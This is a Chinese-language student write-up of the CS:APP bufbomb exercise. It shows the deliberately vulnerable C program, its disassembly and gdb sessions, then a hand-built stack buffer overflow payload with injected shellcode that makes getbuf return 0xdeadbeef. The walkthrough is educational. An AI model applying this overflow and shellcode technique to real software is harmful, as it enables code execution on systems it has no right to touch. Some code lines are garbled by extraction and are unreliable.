cs:app 3.38 bufbomb

1.准备工作:
1.1编译bufbomb.c

/* bufbomb.c */
/* Bomb program that is solved using a buffer overflow attack */

#include
#include
#include

/* Like gets, except that characters are typed as pairs of hex digits.
   Nondigit characters are ignored.  Stops when encounters newline */
char *getxs(char *dest)
{
  int c;
  int even = 1; /* Have read even number of digits */
  int otherd = 0; /* Other hex digit of pair */
  char *sp = dest;
  while ((c = getchar()) != EOF && c != '\n') {
    if (isxdigit(c)) {
      int val;
      if ('0' <= c && c <= '9')
	val = c - '0';
      else if ('A' <= c && c <= 'F')
	val = c - 'A' + 10;
      else
	val = c - 'a' + 10;
      if (even) {
	otherd = val;
	even = 0;
      } else {
	*sp++ = otherd * 16 + val;
	even = 1;
      }
    }
  }
  *sp++ = '';
  return dest;
}

/* $begin getbuf-c */
int getbuf()
{
    char buf[12];
    getxs(buf);
    return 1;
}

void test()
{
  int val;
  printf("Type Hex string:");
  val = getbuf();
  printf("getbuf returned 0x%x\n", val);
}
/* $end getbuf-c */

int main()
{

  int buf[16];
  /* This little hack is an attempt to get the stack to be in a
     stable position
  */
  int offset = (((int) buf) & 0xFFF);
  int *space = (int *) alloca(offset);
  *space = 0; /* So that don't get complaint of unused variable */
  test();
  return 0;
}

我的工作环境是ia32的linux,gcc 4.3.2
使用以下命令编译
gcc bufbomb.c -o bufbomb -O2 -g -Wall
作为测试用的可执行文件bufbomb是在该环境下使用以上选项编译的,其他环境下编译的bufbomb应该有所不同

1.2反编译bufbomb.c
objdump -d bufbomb > bufbomb.s

08048570 :
 8048570:	55                   	push   %ebp
 8048571:	89 e5                	mov    %esp,%ebp
 8048573:	83 ec 18             	sub    $0x18,%esp
 8048576:	8d 45 f4             	lea    -0xc(%ebp),%eax
 8048579:	89 04 24             	mov    %eax,(%esp)
 804857c:	e8 5f ff ff ff       	call   80484e0
 8048581:	b8 01 00 00 00       	mov    $0x1,%eax
 8048586:	c9                   	leave
 8048587:	c3                   	ret
 8048588:	90                   	nop
 8048589:	8d b4 26 00 00 00 00 	lea    0x0(%esi,%eiz,1),%esi

08048590 :
 8048590:	55                   	push   %ebp
 8048591:	89 e5                	mov    %esp,%ebp
 8048593:	83 ec 08             	sub    $0x8,%esp
 8048596:	c7 04 24 c0 86 04 08 	movl   $0x80486c0,(%esp)
 804859d:	e8 66 fe ff ff       	call   8048408
 80485a2:	e8 c9 ff ff ff       	call   8048570
 80485a7:	c7 04 24 d1 86 04 08 	movl   $0x80486d1,(%esp)
 80485ae:	89 44 24 04          	mov    %eax,0x4(%esp)
 80485b2:	e8 51 fe ff ff       	call   8048408
 80485b7:	c9                   	leave
 80485b8:	c3                   	ret
 80485b9:	8d b4 26 00 00 00 00 	lea    0x0(%esi,%eiz,1),%esi

这个函数的堆栈是这样组织的:
在栈上分配了0x18(26)个字节,其中$-12(%ebp)作为数组buf的起始地址
;%ebp保存着调用者test()的%ebp;
$4(%ebp)保存着返回地址,也就是调用该函数后的下一条指令的地址;
再往上是函数test()的堆栈。

2 构造攻击代码
2.1 让缓冲区溢出但是不造成段错误
在测试输入的时候只要写入12个字符或以上就会出现段错误,因为getxs函数会在用户的输入后面补一个”。

(gdb) run
Starting program: /home/lyre/code/ics/asm/bufbomber/bufbomb
Type Hex string:12 34 56 78 90 12 34 56 79 90 12 34 56 78 90
getbuf returned 0x1

Program received signal SIGSEGV, Segmentation fault.
test () at bufbomb.c:51
51 }
(gdb)

现在的目标是让缓冲区溢出但是不造成段错误,最简单的就是按照原样写回去,可以先用gdb查看%ebp(保存的%ebp)以及$4(%ebp)(返回地址)的值

设置一个断点
(gdb) b getbuf

运行
(gdb) run

查看%ebp
(gdb) x/w $ebp
0xbfffdfc8: 0xbfffdfd8
注意ia32是小端机,这4个字节从低到高是d8, df, ff, bf

查看返回地址$4(%ebp)
(gdb) x/w ($ebp+4)
0xbfffdfcc: 0x080485a7
也就是a7, 85, 04, 08

这样,我们在buf里面的前12个字节随便填上什么数字,然后填上%ebp(d8, df, ff, bf), 最后填上$4(%ebp)(a7, 85, 04, 08),函数getxs()会在最后也就是8(%ebp)处填上一个”,我们暂且认为这就是$8(%ebp)未使用的空间。(补充:观察test()可以发现堆栈中分配了8个字节,实际上这个”覆盖了第八个字节,不过没有对函数造成任何影响)

于是得到这样一个字节串:
12 34 56 78 90 12 34 56 79 90 12 34 d8 df ff bf a7 85 04 08
其中前12位暂时是胡乱填充的

继续运行,输入我们的字节串
(gdb) c
Continuing.
Type Hex string:12 34 56 78 90 12 34 56 79 90 12 34 d8 df ff bf a7 85 04 08
getbuf returned 0x1

Program exited normally.

可以看到,缓冲区实际上已经溢出,但是并没有出现段错误。

2.2在buf的12个字节中填入攻击代码
编写一段汇编语句,包含以下语句:

push $0x080485a7
movl $0xdeadbeef, %eax
ret
nop

保存为try.s

用gcc编译
gcc try.s -O2 -c

反汇编
objdump -d try.o
得到:
00000000 :
0: 68 a7 85 04 08 push $0x80485a7
5: b8 ef be ad de mov $0xdeadbeef,%eax
a: c3 ret
b: 90 nop

把68 a7 85 04 08 b8 ef be ad de c3 90填入攻击串的前12字节,得到如下的字节串:
68 a7 85 04 08 b8 ef be ad de c3 90 d8 df ff bf a7 85 04 08

很巧合的是汇编的结果刚好是12字节,跟buf的大小一致,猜测是作者精心设置的……

2.3修改返回地址
很简单,查看buf的地址就是了
(gdb) p /x &buf[0]
$2 = 0xbfffdfbc

也就是bc df ff bf

把返回地址指向这个地方,得到
68 a7 85 04 08 b8 ef be ad de c3 90 d8 df ff bf bc df ff bf

2.4测试
(gdb) run
Starting program: /home/lyre/code/ics/asm/bufbomber/bufbomb
Type Hex string:68 a7 85 04 08 b8 ef be ad de c3 90 d8 df ff bf bc df ff bf
getbuf returned 0xdeadbeef

Program exited normally.
(gdb)

PS:尝试过程中遇到不少小问题,像是计算错误,输错地址什么的;而我使用的gcc也没有保护代码

参考:
http://blog.chinaunix.net/u3/103049/showart_2025757.html

updatedupdated2022-02-222022-02-22